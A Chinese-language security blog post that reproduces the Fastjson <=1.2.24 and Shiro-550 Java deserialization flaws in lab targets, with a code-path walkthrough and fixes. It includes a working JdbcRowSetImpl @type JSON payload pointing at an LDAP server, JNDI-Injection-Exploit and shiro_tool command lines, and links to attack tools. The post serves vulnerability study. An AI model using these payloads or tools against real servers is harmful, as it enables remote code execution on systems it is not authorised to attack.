java经典反序列化漏洞复现

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

fastjson

基本信息

版本

fastjson <= 1.2.24

jdk-8u144-windows-x64

靶场

hell-java-sec

漏洞原理

fastjson 默认使⽤ @type 指定反序列化任意类,攻击者可以通过在 Java 常⻅环境中寻找能够构造恶意类的⽅法,通过反序列化的过程中调⽤的 getter/setter ⽅法,以及⽬标成员变量的注⼊来达到传参的⽬的,最终形成恶意调⽤链。

复现

启动jndi工具

工具下载

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

命令如下

//格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C 命令] [-A 地址]
//示例
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C calc

会出现如下利用选择,需要按照jdk版本选择。

然后准备如下payload:

//格式
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":刚选择的payload,
  "autoCommit":true
}
//示例
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap://10.0.0.13:1389/sdfmnb",
  "autoCommit":true
}

本次使用的是hell-java-sec靶场,需要注意几点

1)修改请求方式为POST

2)修改Content-Type的值为application/json

利用效果如下:

简单分析

1、找到调用的getter/setter方法(可以通过命令报错的方式查找)

2、可以看到调用了setAutoCommit()方法,此时看到传入的json第三个参数autoCommit":true起到了作用。

3、继续跟进connetc()函数

4、继续跟进getDataSourceName()函数

可以看到传入的json格式数据第二个参数 "dataSourceName":"ldap://10.0.0.5:1389/mopwr3"也起到了作用。

5、后续就是跟进路线就是很多lookup()函数

修复

我认为没有什么好的修复方式,每次更新加的黑名单都可以绕过

参考

Fastjson反序列化-CSDN博客

shiro_550

基本信息

版本

Shiro <= 1.2.4

靶场地址

https://github.com/apache/shiro

漏洞原理

因为shiro中存在一个remember me的功能。该功能会将重要信息序列化后进行aes加密、base64编码的操作来生成rememberMe的Cookie信息。当读取rememberMe的Cookie时上述操作会反过来进行一次。

并且最后还有使用readObject()将读出来的内容进行对象的转换。此时就形成了反序列化漏洞。但在这之前需要获取aes加密的密钥,因为aes加密是对称加密的并且该密钥是写死在程序里的,所以只需要获取源码就可以利用了。

复现

工具一地址(图形化界面)

https://github.com/SummerSec/ShiroAttack2

工具二地址(不带图形化界面)

https://github.com/wyzxxz/shiro_rce_tool

工具一复现

1、首先输入域名,然后爆破aes加密的key,选择利用链并检查利用链是否可用

2、选择命令执行模块,输入命令即可

工具二复现

利用的cmd命令

java -jar shiro_tool.jar http://localhost:8080/shirodemo_war/

输入完命令后工具会自动检查aes加密的key,然后查找可以使用的利用链。之后自行选择可以利用的利用链。

简单分析

⽹上相关分析已经很多,使⽤了 Shiro 框架的 Web 应⽤,登录成功后的⽤户信息会加密存储在 Cookie中,后续可以从 Cookie 中读取⽤户认证信息,从⽽达到“记住我”的⽬的,简要流程如下

还是老办法使用错误的命令去是程序报错,然后找到反序列化的函数并进行debug

最终找到了org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity对rememberMe字段进⾏处理

后续继续更进getRememberedPrincipals()函数 -> convertBytesToPrincipals()函数 -> AbstractRememberMeManager中的deserialize()最后到了DefaultSerializer中的deserialize()函数通过readObject()函数进行反序列。更进

其中ClassResolvingObjectInputStream类是继承ObjectInputStream类的

后续和fastjson是同样的就不跟进了

修复

升级shrio到最新版或者修改默认AES密钥

参考

https://cloud.tencent.com/developer/article/1848169


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。